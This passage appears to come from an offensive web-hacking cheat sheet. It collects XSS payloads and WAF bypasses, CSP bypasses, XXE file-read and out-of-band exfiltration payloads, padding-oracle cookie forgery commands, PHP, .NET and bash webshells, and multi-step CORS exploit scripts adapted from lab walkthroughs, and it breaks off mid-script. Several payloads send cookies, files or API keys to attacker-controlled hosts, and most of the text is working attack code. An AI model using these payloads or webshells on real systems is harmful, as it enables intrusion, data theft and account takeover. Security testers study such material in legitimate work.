<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
"><svg onload=alert(1)>.gif

# XSS Svg Image upload
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS!');
   </script>
</svg>

# XSS svg image upload 2
# If you're testing a text editor on a system that you can also upload files to, try to embed an svg:
<iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>
#If that works, upload an SVG with the following content and try rendering it using the text editor:
<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert(document.domain)</script>
</svg>

# XSS in SVG 3:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

# XSS in XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

# https://brutelogic.com.br/blog/file-upload-xss/

" ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29'

# XSS in existent jpeg:
exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg

# XSS in url (and put as header)
http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]

# XSS in XML
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://w3.org/1999/xhtml">
<html:script>prompt(document.domain);</html:script>
</html>
```

## **DOM XSS**

```markup
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
"><svg onload=alert(1)>
javascript:alert(document.cookie)
\"-alert(1)}//
```

## **XSS to CSRF**

```markup
# Example:

# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

## **AngularJS Sandbox**

```markup
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.

# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

# With CSP:

<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}

{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
```

## **XSS in JS**

```markup
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>

# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'

# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//

# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

# Inside {}
${alert(document.domain)}
${alert(1)}
```

## XSS Waf Bypasses

```markup
# Only lowercase block
<sCRipT>alert(1)</sCRipT>

# Break regex
<script>%0aalert(1)</script>

# Double encoding
%2522

# Recursive filters
<scr<script>ipt>alert(1)</scr</script>ipt>

# Inject anchor tag
<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">

# Bypass whitespaces
<svg·onload=alert(1)>

# Change GET to POST request

# Imperva Incapsula
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

# WebKnight
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# F5 Big IP
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

# Barracuda WAF
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# PHP-IDS
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

# Mod-Security
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

# Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

# Sucuri WAF
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

# Akamai
1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E
<SCr%00Ipt>confirm(1)</scR%00ipt>
# AngularJS
{{constructor.constructor(alert 1 )()}} 
```

## XSS Mindmap

![](/files/-M8jsw6PfhTB0iHazhcJ)

## Related Topics

* [CSP](/enumeration/web/csp) - Content Security Policy bypass
* [CSRF](/enumeration/web/csrf) - Cross-site request forgery
* [CORS](/enumeration/web/cors) - Cross-origin resource sharing
* [SSTI](/enumeration/web/ssti) - Server-side template injection
* [Header Injections](/enumeration/web/header-injections) - HTTP header manipulation


# CSP

```markup
# CSP Checker
https://csp-evaluator.withgoogle.com/

# Content-Security-Policy Header

- If upload from web is allowed or <img src="URL">:
https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
https://iplogger.org/invisible/
https://iplogger.org/15bZ87

- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
working payload : "/><script>alert(1337);</script>

- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of unsafe-eval.
working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

- Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>

- Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
<script src=https://drive.google.com/uc?id=...&export=download></script>

- Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;
You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>

- Content-Security-Policy: default-src 'self'
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server
window.location='https://deteact.com/'+document.cookie;

- Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
We  can see object-src is set to none but yes this CSP can be bypassed too  to perform XSS. How ? If the application allows users to upload any type  of file to the host. An attacker can upload any malicious script and  call within any tag.
working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>

- Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

- Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
In  such scenarios where script-src is set to self and a javascript library  domain which is whitelisted. It can be bypassed using any vulnerable  version of javascript file from that library , which allows the attacker  to perform xss.
working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
 </div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

- Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
If  the application is using angular JS and scripts are loaded from a  whitelisted domain. It is possible to bypass this CSP policy by calling  callback functions and vulnerable class. For more details visit this  awesome git repo.
working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

- Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
In  the above scenario, there are two whitelisted domains from where  scripts can be loaded to the webpage. Now if one domain has any open  redirect endpoint CSP can be bypassed easily. The reason behind that is  an attacker can craft a payload using redirect domain targeting to other  whitelisted domains having a jsonp endpoint. And in this scenario XSS  will execute because while redirection browser only validated host, not  the path parameters.
working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">

- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
With inline execution enabled we can simply injection our code into the page.
url.com/asd.php/?a=<script>alert(document.domain)</scrtipt>
GoogleTagManager
<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
<script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>

- Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests
This CSP policy can be bypassed using iframes. The condition is that  application should allow iframes from the whitelisted domain. Now using a  special attribute srcdoc of iframe, XSS can be easily achieved.
working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

- CSP with policy injection (only Chrome)
/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
```


# XXE

## Summary

{% hint style="info" %}
XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.
{% endhint %}

Detection:

```markup
# Content type "application/json" or "application/x-www-form-urlencoded" to "applcation/xml".
# File Uploads allows for docx/xlsx/pdf/zip, unzip the package and add your evil xml code into the xml files.
# If svg allowed in picture upload, you can inject xml in svgs.
# If the web app offers RSS feeds, add your milicious code into the RSS.
# Fuzz for /soap api, some applications still running soap apis
# If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse
```

Check:

```
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY test "THIS IS A STRING!">]>
<methodCall><methodName>&test;</methodName></methodCall>
```

If works, then:

```
<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<methodCall><methodName>&test;</methodName></methodCall>
```

## Tools

```markup
# https://github.com/BuffaloWill/oxml_xxe
# https://github.com/enjoiz/XXEinjector
```

## Attacks

```markup
# Get PHP file:
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<methodCall><methodName>&test;</methodName></methodCall>

# Classic XXE Base64 encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

# Check if entities are enabled
<!DOCTYPE replace [<!ENTITY test "pentest"> ]>
 <root>
  <xxe>&test;</xxe>
 </root>

# XXE LFI:
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

# XXE Blind LFI:
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

# XXE Access control bypass
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

# XXE to SSRF:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

# XXE OOB
<?xml version="1.0"?>
<!DOCTYPE data [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://your.host/remote.dtd"> 
%dtd;]>
<data>&send;</data>

# PHP Wrapper inside XXE
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

# Deny Of Service - Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

# Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

# XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

# XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://92.222.81.2/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">

# XXE Inside SOAP

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

# XXE PoC

<!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>

# XXE file upload SVG
<svg>&xxe;</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

<?xml version="1.0" encdoing="UTF-8" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="14" x="0" y="16">&xxe;</text></svg>  

# XXE Hidden Attack

- Xinclude

Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
Set the value of the productId parameter to:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

- File uploads:

Create a local SVG image with the following content:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Post a comment on a blog post, and upload this image as an avatar.
When you view your comment, you should see the contents of the /etc/hostname file in your image. Then use the "Submit solution" but
```

## Mindmap

![](/files/-McWXDjvI6LU4i-al3VS)

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-advanced-xxe-vulnerabilities>" %}


# Cookie Padding

```bash
# https://github.com/AonCyberLabs/PadBuster
# Get cookie structure
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
# Get cookie for other user (impersonation)
padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'

#https://github.com/glebarez/padre
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='

# https://github.com/Kibouo/rustpad

```


# Webshells

{% embed url="<https://www.localroot.net/>" %}

## **PHP**

```php
# system

//CURL http://ip/shell.php?1=whoami
//www.somewebsite.com/index.html?1=ipconfig

// passthru 
<?php passthru($_GET['cmd']); ?>

// NINJA
;").($_^"/"); ?> 
http://target.com/path/to/shell.php?=function&=argument
http://target.com/path/to/shell.php?=system&=ls

// NINJA 2
/'^'{{{{';@${$_}[_](@${$_}[__]);

// One more
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

// https://github.com/Arrexel/phpbash
// https://github.com/flozz/p0wny-shell
```

## **.NET**

```aspnet
<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
www.somewebsite.com/cgi-bin/a?ls%20/var
```

## **Bash**

```bash
#!/bin/sh
echo;$_ `${QUERY_STRING/%20/ }`
www.somewebsite.com/cgi-bin/a?ls%20/var
```

## aspx

```bash
# https://github.com/antonioCoco/SharPyShell
```


# CORS

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-cors-misconfiguration-vulnerabilities>" %}

## Tools

```bash
# https://github.com/s0md3v/Corsy
python3 corsy.py -u https://example.com
# https://github.com/chenjj/CORScanner
python cors_scan.py -u example.com
# https://github.com/Shivangx01b/CorsMe
echo "https://example.com" | ./Corsme 
cat subdomains.txt | ./httprobe -c 70 -p 80,443,8080,8081,8089 | tee http_https.txt
cat http_https.txt | ./CorsMe -t 70
# CORSPoc
# https://tools.honoki.net/cors.html
```

| URL accessed                              | Access permitted?                  |
| ----------------------------------------- | ---------------------------------- |
| <http://normal-website.com/example/>      | Yes: same scheme, domain, and port |
| <http://normal-website.com/example2/>     | Yes: same scheme, domain, and port |
| <https://normal-website.com/example/>     | No: different scheme and port      |
| <http://en.normal-website.com/example/>   | No: different domain               |
| <http://www.normal-website.com/example/>  | No: different domain               |
| <http://normal-website.com:8080/example/> | No: different port                 |

{% hint style="info" %}
In any site disclosing users & passwords (or other sensitive info), try CORS.
{% endhint %}

```
# Simple test
curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'

# There are various exceptions to the same-origin policy:
• Some objects are writable but not readable cross-domain, such as the location object or the location.href property from iframes or new windows.
• Some objects are readable but not writable cross-domain, such as the length property of the window object (which stores the number of frames being used on the page) and the closed property.
• The replace function can generally be called cross-domain on the location object.
• You can call certain functions cross-domain. For example, you can call the functions close, blur and focus on a new window. The postMessage function can also be called on iframes and new windows in order to send messages from one domain to another.

# Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.

CORS good example:
https://hackerone.com/reports/235200

- CORS with basic origin reflection:

    With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
    Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
    Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
    Observe that the origin is reflected in the Access-Control-Allow-Origin header.
    Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
    <script>
       var req = new XMLHttpRequest();
       req.onload = reqListener;
       req.open('get','$url/accountDetails',true);
       req.withCredentials = true;
       req.send();

       function reqListener() {
           location='/log?key='+this.responseText;
       };
    </script>
    Observe that the exploit works - you have landed on the log page and your API key is in the URL.
    Go back to the exploit server and click "Deliver exploit to victim".
    Click "Access log", retrieve and submit the victim's API key to complete the lab.

 - Whitelisted null origin value

     With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "My account".
    Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
    Send the request to Burp Repeater, and resubmit it with the added header Origin: null.
    Observe that the "null" origin is reflected in the Access-Control-Allow-Origin header.
    Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab, $exploit-server-url with the exploit server URL, and test it by clicking "view exploit":
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
       var req = new XMLHttpRequest ();
       req.onload = reqListener;
       req.open('get','$url/accountDetails',true);
       req.withCredentials = true;
       req.send();

       function reqListener() {
           location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
       };
    </script>"></iframe>
    Notice the use of an iframe sandbox as this generates a null origin request. Observe that the exploit works - you have landed on the log page and your API key is in the URL.
    Go back to the exploit server and click "Deliver exploit to victim".
    Click "Access log", retrieve and submit the victim's API key to complete the lab.

- CORS with insecure certificate

    With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
    Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
    Send the request to Burp Repeater, and resubmit it with the added header Origin: http://subdomain.lab-id where lab-id is the lab domain name.
    Observe that the origin is reflected in the Access-Control-Allow-Origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP.
    Open a product page, click "Check stock" and observe that it is loaded using a HTTP URL on a subdomain.
    Observe that the productID parameter is vulnerable to XSS.
    Now browse to the exploit server, enter the following HTML, replacing $your-lab-url with your unique lab URL and $exploit-server-url with your exploit server URL and test it by clicking "view exploit":
    <script>
       document.location="http://stock.$your-lab-url/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
    </script>
    Observe that the exploit works - you have landed on the log page and your API key is in the URL.
    Go back to the exploit server and click "Deliver exploit to victim".
    Click "Access log", retrieve and submit the victim's API key to complete the lab.

- CORS with pivot attack

Step 1
First we need to scan the local network for the endpoint. Replace $collaboratorPayload with your own Collaborator payload or exploit server URL. Enter the following code into the exploit server. Click store then "Deliver exploit to victim". Inspect the log or the Collaborator interaction and look at the code parameter sent to it.
<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';
for(i=1;i<=255;i++){
  q.push(
  function(url){
    return function(wait){
    fetchUrl(url,wait);
    }
  }('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
  if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
    {
    location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
  }
  ))
  .catch(e => {
  if(q.length) {
    q.shift()(wait);
  }
  });
  setTimeout(x=>{
  controller.abort();
  if(q.length) {
    q.shift()(wait);
  }
  }, wait);
}
</script>
Step 2
Clear the code from stage 1 and enter the following code in the exploit server. Replace $ip with the IP address and port number retrieved from your collaborator interaction. Don't forget to add your Collaborator payload or exploit server URL again. Update and deliver your exploit. We will now probe the username field for an XSS vulnerability. You should retrieve a Collaborator interaction with foundXSS=1 in the URL or you will see foundXSS=1 in the log.
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
  }
  ))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>

Step 3
Clear the code from stage 2 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in step 2 and don't forget to add your Collaborator payload or exploit server again. Update and deliver your exploit. Your Collaborator interaction or your exploit server log should now give you the source code of the admin page.
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
  }
  ))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Step 4
Read the source code retrieved from step 3 in your Collaborator interaction or on the exploit server log. You'll notice there's a form that allows you to delete a user. Clear the code from stage 3 and enter the following code in the exploit server. Replace $ip with the same IP address and port number as in steps 2 and 3. The code submits the form to delete carlos by injecting an iframe pointing to the /admin page.
<script>
function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
  fetch(url).then(r=>r.text().then(text=>
  {
    xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
  }
  ))
